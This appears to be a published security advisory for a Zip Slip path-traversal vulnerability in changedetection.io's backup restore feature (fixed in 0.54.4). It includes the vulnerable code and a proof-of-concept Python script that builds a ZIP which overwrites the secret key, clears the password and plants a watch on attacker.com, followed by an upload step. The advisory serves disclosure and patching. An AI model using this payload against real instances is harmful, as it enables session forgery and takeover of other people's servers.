High

changedetection.io has Zip Slip vulnerability in the backup restore functionality

  • Disclosed: 04.03.2026
  • Updated: 11.10.2026 14:17

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

python
def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

Path in ZIP Target File Impact
../secret.txt Flask secret key Session forgery, auth bypass
../changedetection.json App settings Disable password, inject backdoor
../url-watches.json Watch index Inject malicious watches
../{uuid}/watch.json Watch config Modify any watch

Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

curl
  -F "zip_file=@zipslip.zip" \
  -F "include_watches=y" \
  -F "include_settings=y"

###Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

###ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"

<img width="1920" height="1080" alt="f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM" src="https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38" />

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) changedetection-io < 0.54.4 0.54.4

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-22
Platform
Python (PyPI)
Package
changedetection-io
Disclosed
04.03.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2129 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-25g8-2mcf-fcx9 - CC BY 4.0

Vulnerability history: changedetection-io

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (20) in the archive
Total entries
20
First → latest
02.2023 05.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 9
  • Medium 6
  • Low 2
  • Unrated 1

Disclosures per year

  1. 2023: 1
  2. 2024: 6
  3. 2025: 2
  4. 2026: 11
Severity:
  1. High · 7.5 CVE-2026-41895 <= 0.54.9 no fix
  2. changedetection.io has Zip Slip vulnerability in the backup restore functionality this entry
    High CVE-2026-29065 < 0.54.4 0.54.4
  3. High · 8.6 CVE-2026-27696 < 0.54.1 0.54.1
  4. High CVE-2025-52558 < 0.50.4 0.50.4

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